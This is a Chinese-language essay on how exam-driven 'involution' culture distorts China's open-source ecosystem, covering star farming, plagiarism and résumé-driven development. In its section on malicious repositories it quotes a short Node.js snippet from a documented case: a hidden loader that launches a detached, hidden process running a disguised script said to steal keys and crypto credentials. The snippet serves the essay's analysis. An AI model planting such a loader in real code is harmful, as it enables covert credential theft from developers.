做题家的代码监狱:开源在中国的生态内卷化与异化现象研究

笔者一直在探索开源在本土的困境根由,无法逃开的就是教育带来的沉重。

Thu Feb 12, 2026 | 11200 Words | 大约需要阅读 23 分钟 | 作者: 「开源之道」·适兕 && 「开源之道」·窄廊 |

核心悖论与研究基调:当反内卷的机器陷入内卷的泥沼

开源软件(Open Source Software)运动的初衷,是建立在自由、共享与去中心化协作基础之上的黑客文化结晶。其底层经济学逻辑是通过全球开发者的知识共享,最大化地降低人类在软件工程中的重复劳动。本质上,开源机制是一种极其高效的“反内卷”生产力解放工具。然而,当这一带有乌托邦色彩的机制被全面移植到特定的社会文化土壤——尤其是以高压、内卷和KPI(关键绩效指标)驱动为典型特征的中国科技生态中时,一种令人扼腕的结构性异化现象便不可避免地发生了。

纵观当前的中国开源界,正呈现出一种令人瞩目的乱象:粗暴的源代码抄袭、利用地下黑产大规模“刷星”(Star Farming)、为了抢占技术生态位而进行的恶性竞争,乃至利用虚假开源项目分发恶意软件的事件层出不穷。在面对这些现象时,最为常见的表层归因往往是指责“中国开发者缺乏道德”或“商业伦理集体缺失”。然而,本研究认为,这是一种极其短视且粗暴的浅层归因。

中国数字世界中的这些乱象,其深层归因在于“教育工厂”惯性在虚拟空间的残酷延伸。这里的开发者并不是天生缺乏道德底线,而是被一个庞大、严苛且不容喘息的“高压封闭系统”深度异化了。为了透视这一异化过程,我们可以引入一个经典的“村庄与独木桥”社会学隐喻:想象一个庞大但边界受限的村庄,当村民们向外探索广袤世界的道路被系统性地堵死(例如严格的信息审查制度与网络防火墙),而实现阶层跃迁与向上流动的唯一出路,被设定为一条标准极其单一、竞争极其惨烈的独木桥(早年是千军万马过独木桥的“高考”,成年后则是职场中冷酷无情的KPI考核与末位淘汰)时,身处其中的人为了获取稀缺的生存资源,必然会褪去温和的创造者外衣,演化出“狼性”的生存哲学。

在这样一个高度内卷化的社会结构中,本应用于消除重复劳动的开源机制,不可避免地被内卷化本身所吞噬,最终沦为“做题家”们相互倾轧、粉饰简历与掠夺资本的新型角斗场。本报告将从社会学溯源、微观软件工程行为演变、地下黑产经济学以及宏观产业政策等多维视角,全面解构这座由做题家心智筑起的“代码监狱”。

社会学溯源:“内卷”的农业基因与数字时代重构

要深刻理解中国开源生态的异化现象,必须首先在学术层面上对“内卷”(Neijuan / Involution)这一核心概念进行历史维度的溯源,并剖析其如何从传统的农业经济模型,跨越时空演变为现代中国科技行业的精神内核。

边际收益递减与扁担的隐喻

“内卷”一词最初由美国人类学家克利福德·格尔茨(Clifford Geertz)在1963年提出。他在考察印度尼西亚爪哇岛的农业经济时发现,由于缺乏实质性的技术创新,当地农民只能将不断增长的劳动力持续投入到面积有限的土地上。这种行为导致了农业生产内部精细化程度的不断加深,但总产量却陷入停滞,形成了一种没有发展的自我重复与自我循环 [1] [2]。

2000年前后,历史社会学家黄宗智将这一概念正式引入中国语境。结合中国悠久的农业历史,黄宗智为格尔茨的概念补充了“劳动力边际报酬递减”这一关键的经济学维度 。黄宗智敏锐地指出,传统中国文化鼓励大家庭繁衍,导致人口急剧膨胀,劳动力变得极端廉价。这种巨大的人口生存压力,反而剥夺了社会进行技术创新的底层动力。一个极具解释力的历史对比是:由于欧洲历史上劳动力相对短缺,重体力劳动几乎全部依赖畜力甚至早期的机械;而在中国,由于人力成本极低,每一户农家都普遍使用“扁担”这一工具,以极其密集的人力透支来维持生存底线 [2] [3]。

在微观经济学中,这种现象可以用边际产品(Marginal Product)的数学公式来精确表达: $$MP_L = \frac{\Delta Y}{\Delta L}$$

当一个系统彻底陷入内卷状态时,随着劳动力投入($\Delta L$)的无限度增加,系统总产出的增量($\Delta Y$)会逐渐逼近于零,甚至在互相倾轧中变为负数。这一源自传统农业社会的理论模型,在21世纪初的中国科技行业得到了令人惊叹的完美复刻。随着中国互联网“人口红利”的见顶,科技行业的底层商业逻辑被迫从“增量市场的跑马圈地”转向了“存量市场的零和博弈”。为了在停滞的系统中维持自身的竞争优势,中国开发者们被迫投入极度非理性的工作时间(如臭名昭著的996工作制)。现代程序员在键盘上无休止的敲击,与数百年前农夫肩上的“扁担”,在社会学意义上构成了完美的同构 [3]。

在这种令人窒息的持续高压下,年轻一代群体中产生了强烈的无力感与虚无感,进而衍生出了多种抵抗性亚文化。部分人选择了“躺平”(Tangping,拒绝参与高压经济循环),部分人践行“润学”(Runxue,寻求移民以逃离系统),还有人彻底走向“摆烂”(Bailan,面对无法改善的处境彻底放弃努力),甚至极端情况下出现了对社会秩序的报复性破坏 [4] [5]。然而,对于那些选择继续留在竞技场内、渴望获得世俗成功的开发者而言,他们别无选择,只能沿着“内卷”的螺旋不断下坠,将内耗推向新的极致。

“做题家”心智的固化与教育工厂的后遗症

理解了宏观系统的高压,我们需要进一步剖析微观个体的心智结构。“小镇做题家”原本是一个带有自嘲意味的网络流行语,指代那些出身于三四线城市或广大农村,缺乏丰厚的原生家庭资源,唯有通过严酷的题海战术、机械记忆和超强的自我压抑,在“高考”这座唯一的独木桥上杀出重围的学子 [6]。这群人,构成了今天中国底层与中层程序员的绝对主力军。

文化的核心是价值观,而人的所有外在行为都是由其内在价值观深度支配的 。长达十几年的应试教育工厂训练,在赋予这群开发者极强执行力与抗压能力的同时,也深刻且不可逆地重塑了他们的心智模式,形成了一种独特的“做题家”价值观。这种价值观在遭遇开源文化时,产生了剧烈的排异反应:

首先是目标的高度单一化与对量化指标的盲目崇拜。在做题家的世界观中,复杂、多维、充满不确定性的真实世界,早已被教育系统简化为一张张可以通过固定算法得出标准答案的试卷,以及最终那个决定命运的绝对分数。当这种心智映射到职场与开源领域时,代码本身的优雅性、软件架构的长期可维护性、以及技术的社会公共价值被彻底剥离。取而代之的,是对大厂晋升委员会设定的KPI、GitHub的Commit(提交)数量、以及仓库Star(星标)数等冰冷量化指标的狂热追逐。

其次是根深蒂固的零和博弈(Zero-Sum Game)潜意识。高考是世界上最标准的零和博弈模型:一个人的全省排名上升,必然意味着另一个或一群人的排名下降。这种思维定势导致中国开发者在面对广阔的开源生态时,往往缺乏真正的全球化合作精神。他们潜意识里倾向于将同类开源项目视为必须从肉体和精神上消灭的死敌,从而引发无底线的恶性竞争,而不是通过提交代码合并请求(Pull Request)去共同繁荣一个现有的技术生态。

最后是探索能力的系统性阉割。在高度内卷的教育体系中,当追寻“唯一标准答案”成为最高信仰时,任何偏离主航道的、出于纯粹好奇心的“探索”都被视为对时间和精力的极大犯罪[7]。正如社会学调研中一些学生所坦言的:“把时间浪费在骑自行车等事情上是绝对不可接受的,因为这会让你在争取班级第一的激烈竞争中败下阵来” 。在代码世界中,这意味着极少有中国开发者愿意从事基础性、底层性、回报周期极长且无法立即体现在季度KPI上的底层架构创新。所有人都在争抢最容易变现的表层应用逻辑。

简历驱动开发(RDD):技术表演与系统性内耗

当上述这种深深刻有“独木桥”烙印的做题家心智,遭遇现代软件工程的复杂性时,产生的一个极为荒诞且破坏力极强的变种,便是“简历驱动开发”(Resume-Driven Development, 简称 RDD)以及国内互联网大厂特有的“影响力驱动开发”(Impact-Driven Development)[8] [9] [10] 。

在健康的软件工程逻辑中,架构设计与技术选型应当严格秉持奥卡姆剃刀原则,以最简洁、最可维护的方式服务于具体的业务需求。然而,在高度内卷的职场角斗场中,开发者为了在下一次跳槽面试或年度晋升答辩中获得压倒性筹码,会刻意且充满心机地引入极其复杂、前沿但对当前业务毫无必要的重型技术栈。他们需要的不是解决问题,而是通过制造人为的技术壁垒,来证明自身的“技术深度”与不可替代性。

微服务迷思与前端生态的割裂

以近年来风靡的微服务架构(Microservices)为例,这种本应用于解决超大规模分布式系统治理难题的高级架构,在国内被严重滥用。诸多行业观察者痛心地指出,许多只有几十或几百月活跃用户的边缘性利基项目,也被开发者强行拆分为复杂的微服务集群,并盲目引入Kafka消息队列、Kubernetes(K8s)容器编排等重型基础设施 。正如一位小型企业的首席信息官所言,一个每月仅有50名用户的系统实施了极其复杂的Kafka和IaaS架构,这种荒谬的行为无异于“把公司的钱直接扔进火里烧掉” 。这绝非单纯的技术认知失误,而是开发者在极其理性的算计下,利用雇主的商业资源和时间成本,为自己下一份高薪工作“镀金”简历。[9]

类似的技术表演行为在前端开发领域尤为触目惊心。为了在晋升答辩中讲出“极致性能优化”的好故事,中国的大型互联网企业纷纷抛弃了业界通用的Web标准规范。有开发者指出,由于中国国内对网络请求延迟有着近乎病态的苛求,各大厂不惜投入重金,竞相自研类似于React Native的双线程框架 [11]。这些框架摒弃了传统的网络资源请求模式,转而采用应用内置离线包的极端机制来渲染页面 。这种为了压榨微小性能提升而大规模“重复造轮子”的行为,表面上营造了国内前端技术极其繁荣、百花齐放的假象,实际上却导致了基础设施的严重割裂。各家大厂在自己的数据孤岛中建立起了互不兼容的围墙花园,极大地阻碍了技术的通用化与社会的知识共享。

“伪开源”的泛滥与代码垃圾的制造

在这种畸形的评价体系下,参与开源世界不再是出于对黑客理想的追求,也不再是为了反馈社区,而是彻底沦为了个人职场晋升或跳槽求职的“刷脸”工具 [10]。这就催生了令人哭笑不得的“伪开源”乱象。

为了在GitHub的个人主页上留下密密麻麻的绿色提交记录(代表高活跃度),大量中国开发者开始利用自动化脚本,或者专门针对极其微小的瑕疵(例如修改开源项目说明文档中的一个错别字、调整代码中的一行缩进配置)进行疯狂的Pull Request提交 [8]。这种行为虽然能在几分钟内“零成本”地粉饰个人的技术简历,但却给全球开源项目的核心维护者带来了灾难性的代码审查负担,在数字空间中制造了海量的“代码垃圾” 。

更深层次的异化在于对“项目所有权”(Ownership)的病态渴求。在简历驱动的开发模式下,仅仅作为一个著名开源项目的“贡献者”是远远不够的,只有作为项目的“创始人”才能在面试官面前获得最大的溢价 [8]。因此,开发者们宁愿去复制(Fork)一个现成的、已经非常成熟的开源项目,稍微修改一下UI界面,或者简单包装一层外壳,然后重新发布为一个“全新”的独立开源项目,也绝不愿意沉下心来为原项目贡献高质量的代码。这种行为直接导致了国内开源生态中出现了无数功能高度同质化、缺乏核心创新、且一旦开发者跳槽成功便立刻被抛弃的“僵尸项目”。

坎贝尔定律的应验:GitHub虚假繁荣与地下黑产经济学

为了对上述异化过程进行更为严谨的理论抽象,我们必须引入社会学中的“坎贝尔定律”(Campbell’s Law)。该定律由美国社会学家唐纳德·坎贝尔(Donald T. Campbell)在1979年提出,其核心论断是:“任何定量社会指标被用于社会决策的程度越高,它就越容易受到腐败压力的影响,也就越容易扭曲和破坏它原本旨在监测的社会过程” [12]。

当GitHub的Star(星标)数量,从最初的一个简单的技术书签功能,异化为被风险投资机构(VC)、企业HR、开源基金会乃至政府科技补贴审核部门用来衡量项目商业价值和开发者个人能力的核心KPI时,根据坎贝尔定律,这一指标遭遇系统性的腐败与操纵便成为了不可逆转的宿命 [13]。

工业化的“刷星”机器:Star Farming 黑产的规模与运作

GitHub的Star机制原本类似于社交媒体上的“点赞”,用于帮助用户收藏和发现优秀的同类项目 [13]。然而,随着开源商业化的加速,Star已经彻底演变成为开发者的“社交货币”(Social Currency),甚至直接决定了初创公司的生死存亡 [14]。凡是有暴利可图的地方,必然会滋生地下黑市。

近期,由卡内基梅隆大学(CMU)、北卡罗来纳州立大学与安全公司Socket联合开展的一项顶级学术研究,彻底撕开了这一黑产伪善的面纱。研究人员开发了一款名为“StarScout”的智能检测工具,对全球最大规模的GitHub历史记录进行了长周期的深度挖掘。他们分析了从2019年7月至2024年10月(部分数据延伸至12月)期间,高达20TB的“GHArchive”元数据集。该数据集包含了惊人的60.5亿次GitHub操作事件、3.1亿个代码仓库以及6.1亿个Star记录 [13] [15] 。

数据分析的结论令人触目惊心:在这五年间,至少有超过450万至600万个Star被算法高度判定为由机器或受雇水军产生的虚假指标[13]。这一庞大的黑产已经脱离了早期的作坊式运作,形成了一条分工明确、技术精湛、且利润极其丰厚的全球化产业链。其背后的商业模式和定价体系已经高度细分:

虚假服务产品类型市场指导价格/成本运作技术特征与账号质量目标客户画像与生态影响
廉价一次性注水约 €8 欧元 / 100个Star [14]通过Stripe等自动化支付网关批量购买。由临时注册、无任何真实开发活动记录的“空白机器人”账号瞬间操作。主要面向底层个人开发者,用于初步美化求职简历。极易被GitHub官方风控系统识别并批量封号。
高级拟真定制刷星廉价版基础价格的10倍以上动用具有真实代码提交历史、甚至绑定了真实科技公司域名的被盗账号或长期“养号”账户。操作过程中引入高级随机延迟算法(A/B测试规避风控)[16]。迫切寻求A/B轮风投(VC)融资的初创企业。成功伪装项目自然增长热度,极难被常规审查识别。
全套虚假生态构建约 $5000 美元 / 10000个顶级Star雇佣低收入国家的真实人工,以每天100美元的成本组建“点击农场”。账号每天朝九晚五手动模拟提交代码、发起Issue、互相点赞,建立极其逼真的社交网络拓扑 。获得巨额融资后需要向资方交差的新兴科技公司。通过极低成本获取看似需要数百万研发投入才能换来的虚假繁荣。
高权重“成就”账号买卖单个账号高达 $5000 美元直接在暗网出售拥有极高GitHub内部权重、附带多项官方“成就”徽章、拥有大量真实关注者的现成高级开发者账号.高级持续性威胁(APT)组织或分发勒索软件的黑客,利用账号长期积累的信任背书绕过企业安全审计。

在高度内卷的中国科技市场,创业公司面临着地狱难度的竞争。为了在极短的窗口期内获得资本的青睐以维持现金流,他们承受着极其巨大的“自证价值”压力。正如网络安全从业者一针见血指出的:在正常的商业逻辑下,一个开源项目想要获得1万个真实的Star,通常需要极其漫长的技术打磨、数以百万美元计的研发投入、以及无数次在生产环境中的痛苦迭代;然而,在不受监管的黑市中,实现完全相同的量化指标仅仅需要大约1000到5000美元的微小预算[16] 。

在“指标决定生死”的残酷游戏中,“劣币驱逐良币”的格雷欣法则(Gresham’s Law)发挥到了极致。当做假成本极低且收益极大时,真正令人惊讶的不再是有人作弊,而是“为什么不是所有人都在买Star” 1 。这种囚徒困境直接导致了整个中国开源生态信任体系的雪崩。

恶性竞争与深渊的凝视:抄袭乱象与恶意软件的温床

虚假繁荣仅仅是异化的表象,当底线的防线被突破,随之而来的便是肆无忌惮的掠夺与犯罪。在“快鱼吃慢鱼”的狼性生存逻辑中,老老实实从零开始构建底层架构,不仅被视为智商低下的表现,更意味着将在惨烈的竞争中被无情淘汰。

移花接木的开源抄袭

代码抄袭和“洗稿”式开源在中国技术社区已成为一种难以根除的顽疾。近期的一个典型丑闻是关于知名数据库迁移工具Atlas的侵权事件。据该项目核心开发者在社区中愤怒披露,国内某开源团队不仅直接大段复制了Atlas底层核心代码,还对其进行了极具隐蔽性的伪装与重新打包,更令人瞠目结舌的是,抄袭者甚至公然宣称这是为GORM(目前极其广受欢迎的Go语言ORM框架)量身定制的原生扩展功能 [17]。

这种行为的卑劣之处在于,它不仅窃取了他人的智力劳动成果,更通过深度绑定现有的高流量生态(如GORM),迅速掠夺原项目的流量、用户注意力和社区声誉 [17]。这种“移花接木”的终极目的,从来都不是为了解决某个尚未被满足的技术痛点,而是为了以最狂暴的方式侵占他人的生态位,将他人的心血强行转化为自己年终PPT上耀眼的KPI指标。

从造假到投毒:武器化的虚假指标

如果说简历造假和项目抄袭损害的仅仅是商业公平与学术伦理,那么虚假繁荣演化到极致,便催生了针对全球软件供应链的实质性物理破坏。网络犯罪分子敏锐地察觉到了GitHub评价体系的腐败,并迅速将“假Star”武器化。

研究表明,大量黑客组织投入重金购买虚假Star,旨在人为拉高其携带木马的恶意仓库的全球排名。一旦这些仓库成功挤入GitHub的“Trending”(每日趋势)榜单,便会自动捕获大量不明真相的开发者,诱导他们将携带后门的恶意组件引入到企业生产环境中 。

这一威胁绝非空穴来风。在学术界捕获的一个经典案例中,研究人员发现了一个伪装成前沿区块链应用的代码仓库。该仓库表面上拥有111个Star(事后查明其中至少109个是购买的假星),其项目README文件编写得极其专业且极具欺骗性。然而,就在其隐藏极深的第12行代码中,潜伏着一段致命的执行逻辑:

// main.js, hidden at line 12 starting at column 892
const {spawn} = require('child_process');
const cmd1 = 'node';
const argv1 = ['node_modules/@solana-web3-1.43.js'];
spawn(cmd1, argv1, {detached: true, windowsHide: true});

这段代码利用Node.js的子进程机制,悄无声息地调用了一个经过多重深度混淆的远端执行脚本。该脚本不仅名称伪装成了合法的JavaScript依赖包,其真实目的则是冷酷地盗取开发者的本地密钥与加密货币凭证 。

当整个开源生态充斥着人为制造的虚假指标时,全球开发者长期以来赖以生存的朴素信任模型——即“高Star数必定等同于高安全性和高质量”——宣告彻底破产。这种由内卷催生的作假文化,最终成为了勒索软件与供应链攻击的绝佳掩体。数据印证了这一严峻局势:仅在近期,全球勒索软件的勒索事件就飙升了46%,不仅针对科技企业,甚至将黑手伸向了对社会稳定至关重要的农业和食品生产等传统关键基础设施 [18]。代码监狱中的内耗,已然溢出并威胁到了真实世界的运转。

宏观政策裹挟下的微观扭曲:以产业突围目标为例

要全盘揭示开源在中国的生态极其极端的异化路径,仅仅将显微镜对准开发者个体的贪婪与恐惧是远远不够的。我们必须调转镜头,将这一微观乱象置于中国宏观国家战略、产业升级阵痛与极其严峻的地缘政治博弈的大背景下进行审视。只有这样,才能理解为何这种内卷具有如此深厚的系统性根基。

宏伟目标的落差与“卡脖子”焦虑

自“中国制造2025”(MIC2025)这一宏大战略蓝图发布以来,中国在半导体、人工智能、基础软件等核心前沿技术领域的“自主可控”,被史无前例地提升到了国家绝对安全的战略高度。随着全球化退潮与地缘政治摩擦的日益白热化,尤其是在算力封锁与芯片禁令的重压下,中国科技界面临着前所未有的“突围”焦虑。

从宏观数据来看,中国在硬核算力基础设施上的投资确实呈现出举国体制下的爆发式增长。为了支撑庞大的人工智能计算需求,中国制定了《算力基础设施高质量发展行动计划》。官方数据显示,截至2024年6月,中国包括公共和商业数据中心在内的总算力规模已庞大至246 EFLOP/s(百亿亿次浮点指令/秒),并立下军令状要在2025年冲刺300 EFLOP/s的大关 [20]。与此同时,中国软件分发服务市场在2024年的估值已达154亿美元,并被预测到2032年将以7.21%的复合年增长率(CAGR)强劲扩张至233.8亿美元,彰显出庞大的内需潜力 [21]。

然而,冰冷的现实与宏大的规划之间,存在着巨大的沟壑。在真正决定产业命运的底层基础核心技术(如半导体制造设备、先进制程芯片)的国产化目标上,进展步履维艰。正如多位资深半导体分析师(如Dan Kim和John VerWey)所尖锐指出的,这些旨在实现自主可控的战略目标,严重依赖于“高度值得怀疑的假设和极其乐观的增长预测”,它们更多地体现了政策制定者的迫切愿望,而并未完全尊重产业当前极其脆弱的真实竞争力水平

宏观焦虑层层传导至微观个体的“动作变形”

这种自上而下的、带有强烈危机感与不容置疑的宏大叙事指标,通过严密的行政指令、政府补贴考核和资本市场导向,层层重压至具体的互联网大厂、国产操作系统厂商、开源基金会乃至每一位基层程序员的肩上时,不可避免地引发了整个系统的“动作变形”。

一方面,这种“卡脖子”焦虑催生了极度荒诞的“运动式开源”。为了积极响应国家关于“构建自主可控开源生态体系”的号召,大量科技企业为了在政府补贴的“分蛋糕”游戏中拔得头筹,开始进行违背软件工程客观规律的开源大跃进。企业高管强制要求将内部原本高度耦合、布满技术债务、且毫无行业通用性的残次代码匆忙剥离并强行开源。随后,借助极其严格的行政命令,要求全公司所有下属员工进行内部集体强制刷星、互相点赞、刷评论,在极短时间内人为捏造出一个“国产自主生态繁荣、万众拥护”的浮夸假象。

另一方面,底层硬核创新规律与资本速效KPI之间存在着不可调和的结构性矛盾。无论是突破7纳米以下的芯片制造工艺,还是开发下一代能够真正替代Linux的革命性操作系统内核,都需要十年乃至数十年的“冷板凳”式探索,需要允许无数次试错与失败。然而,当下的中国资本环境和企业残酷的末位淘汰考核机制,却只允许以“季度”甚至“月度”为单位的敏捷迭代与产出。

在这座“代码监狱”中,身处基层的开发者被无形之墙(防火墙与文化隔绝)阻断了横向探索全球多元技术生态的广度,又被无情的独木桥(KPI与淘汰机制)限定了向下深耕底层技术的深度。他们根本无力承担长期主义所伴随的巨大职业风险。既然受制于物理法则与工程规律,无法在底层技术上取得实质性突破以完成上级分配的“宏大叙事”指标;那么,通过抄袭国外优秀开源项目、进行表层汉化换皮、雇佣黑产疯狂刷量来炮制虚假的“国产替代”科技成果,便成为了这个高压封闭系统中最为“理性”、最符合经济学效用最大化的生存策略。

这也就完美解释了一个令人痛心的悖论:在面临严重网络安全威胁的当下,大量极其宝贵的智力资源、算力资源与资金,并未被用于加固底层的安全防护体系和基础科学研究,反而被巨量地消耗在了制造虚假GitHub Star、编写无用的简历驱动型微服务、以及日复一日的恶性同质化竞争这种毫无社会价值的巨大内耗之中。

结论:打破代码监狱的系统性救赎之路

综上所述,中国开源生态中集中爆发的抄袭、刷量、恶性竞争与劣币驱逐良币等种种触目惊心的怪象,绝不能被简单地降维定性为个别底层程序员的道德败坏,或是部分科技企业的局部商业欺诈行为。这是一场发生在我们眼前的、极其经典的“公地悲剧”(Tragedy of the Commons)。

其最深层的结构性根源在于:开源精神本质上是极其反内卷的,它仰赖于开发者的利他主义、长期的互信博弈思维、以及对未知领域的自由探索;但在一个高度内卷化、充满高压且路径单一的社会系统中,开源这台本该用于打破内卷的机器,却被无情地内卷化了。

在这座由“做题家”心智和系统性高压共同筑起的代码监狱中:

  • 无形的墙体 是被地缘政治对抗与严密审查制度所隔绝的封闭网络环境,它在物理与心理双重层面上,堵死了中国开发者横向探索全球多元技术生态、吸收包容性文化的可能。
  • 沉重的锁链 是将复杂、充满创造性与艺术感的软件工程劳动,粗暴降维为单一量化KPI考核的现代企业管理制度,它彻底扼杀了技术人员的主观能动性与工程伦理。
  • 冷酷的狱卒 则是那些畸形逐利的资本市场、缺乏基础研究耐心的评价体系以及被异化了的宏观指标,它们只认冰冷的数据,不问技术的本质,逼迫身在其中的参与者为了生存而不得不到处撕咬作恶。

在这种“高压封闭系统”的长期异化下,原本用于减少人类重复劳动、促进全球知识无国界累积的开源平台,悲哀地沦为了粉饰个人简历、骗取风投资本、骗取政策补贴,甚至为传播致命恶意软件打掩护的黑产角斗场。那超过六百万个潜伏在代码仓库中的虚假GitHub Star [15],不仅仅是一个严重的技术安全漏洞,它更是中国数以百万计的年轻开发者群体,在系统性结构重压下发出的无声且荒诞的叹息。

要真正打破这座固若金汤的“代码监狱”,重塑一个健康、繁荣且受人尊敬的开源生态,单纯依靠GitHub官方引入更为复杂的人工智能反欺诈风控算法是远远不够的。因为只要根本的激励机制不改变,风控与黑产的对抗永远只是一场“道高一尺,魔高一丈”的技术猫鼠游戏。真正的破局之道,必须跳出纯粹的技术范畴,在更深层次的社会评价体系与制度层面进行大刀阔斧的解构:

首先,科技界必须在企业评价体系与风险投资尽调标准中,坚决摒弃“唯指标论”,警惕“坎贝尔定律”带来的致命陷阱。必须建立多维度、长期性的技术影响力评估模型(例如考察实际在生产环境中的应用案例、考察代码解决特定域问题的优美度),彻底切断“简历驱动开发”与“刷星黑产”赖以生存的经济激励链条。其次,全社会需要正视数字时代的“劳动力边际报酬递减”客观规律,停止在表层应用上的无意义技术堆砌与互相倾轧,建立容错机制,将资源真正引导至具有长远底层创新价值的基础科学研究中。

最终,只有当整个社会资源的分配不再仅仅依赖于那座极其残酷的“独木桥”式竞争,当程序员能够从疲于奔命、时刻处于生存恐慌中的“做题家”,重新回归为享有精神自由与探索权利的“创造者”时;当向外探索世界的道路重新变得通畅多元时,这座禁锢着无数聪明才智的“代码监狱”,才会在清晨的第一缕阳光下轰然倒塌,真正的开源精神才得以重生。

参考资料

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  2. ‘Involution’ (neijuan) - Queen Mary University of London, accessed February 13, 2026, https://www.qmul.ac.uk/sllf/modern-languages-and-cultures/mlc-blog/chinese-catchwords/news/items/involution-neijuan.html
  3. How One Obscure Word Captures Urban China’s Unhappiness - Sixth Tone, accessed February 13, 2026, https://www.sixthtone.com/news/1006391
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  7. Youth are united online to fight against involution: a study of group cohesion on Weibo https://www.frontiersin.org/journals/psychology/articles/10.3389/fpsyg.2023.1014331/full
  8. Your job is to deliver code you have proven to work | Hacker News, accessed February 13, 2026, https://news.ycombinator.com/item?id=46313297
  9. You probably don’t need microservices : r/programming - Reddit, accessed February 13, 2026, https://www.reddit.com/r/programming/comments/1csjrjn/you_probably_dont_need_microservices/
  10. Impact Driven Development is the Curse of Big Tech : r/ExperiencedDevs - Reddit, accessed February 13, 2026, https://www.reddit.com/r/ExperiencedDevs/comments/1ag4ima/impact_driven_development_is_the_curse_of_big_tech/
  11. What has the Marko Team Been Doing all These Years? - DEV Community, accessed February 13, 2026, https://dev.to/ryansolid/what-has-the-marko-team-been-doing-all-these-years-1cf6
  12. Six Million (Suspected) Fake Stars on GitHub: A Growing Spiral of Popularity Contests, Spam, and Malware - arXiv, accessed February 13, 2026, https://arxiv.org/html/2412.13459v2
  13. Over 3.1 million fake “stars” on GitHub projects used to boost rankings - Bleeping Computer, accessed February 13, 2026, https://www.bleepingcomputer.com/news/security/over-31-million-fake-stars-on-github-projects-used-to-boost-rankings/
  14. The fake GitHub economy no one talks about: Stars, Followers, and $5k Accounts., accessed February 13, 2026, https://dev.to/dev_tips/the-fake-github-economy-no-one-talks-about-stars-followers-and-5k-accounts-43pn
  15. Fraudsters Use Fake Stars To Game GitHub - CMU School of Computer Science, accessed February 13, 2026, https://www.cs.cmu.edu/news/2025/fake-github-stars
  16. 4.5M Suspected Fake Stars in GitHub - Hacker News, accessed February 13, 2026, https://news.ycombinator.com/item?id=42540182
  17. Someone copied our GitHub project, made it look more trustworthy by adding stars from many fake users, and then injected malicious code at runtime for potential users. : r/golang - Reddit, accessed February 13, 2026, https://www.reddit.com/r/golang/comments/1jbzuot/someone_copied_our_github_project_made_it_look/
  18. jacobdjwilson/awesome-annual-security-reports - GitHub, accessed February 13, 2026, https://github.com/jacobdjwilson/awesome-annual-security-reports
  19. Made in China 2025: Evaluating China’s Performance, accessed February 13, 2026, https://www.uscc.gov/research/made-china-2025-evaluating-chinas-performance
  20. Full Stack: China’s Evolving Industrial Policy for AI - RAND, accessed February 13, 2026, https://www.rand.org/pubs/perspectives/PEA4012-1.html
  21. China Software Distribution Services Market Growth Drivers and Challenges - GitHub, accessed February 13, 2026, https://github.com/Gabbarshing/AdZenith/blob/main/Software-Distribution-Services-Market/China-Software-Distribution-Services-Market.md

关于作者

「开源之道」·适兕

「发现开源三部曲」(《开源之迷》,《开源之道》《开源之思》。)、《开源之史》作者,「开源之道:致力于开源相关思想、知识和价值的探究、推动」主创,Linux基金会亚太区开源布道者,TODO Ambassadors & OSPOlogyLive China Organizer,云计算开源产业联盟OSCAR(中国信息通信研究院发起)个人开源专家,OSPO Group 联合发起人。

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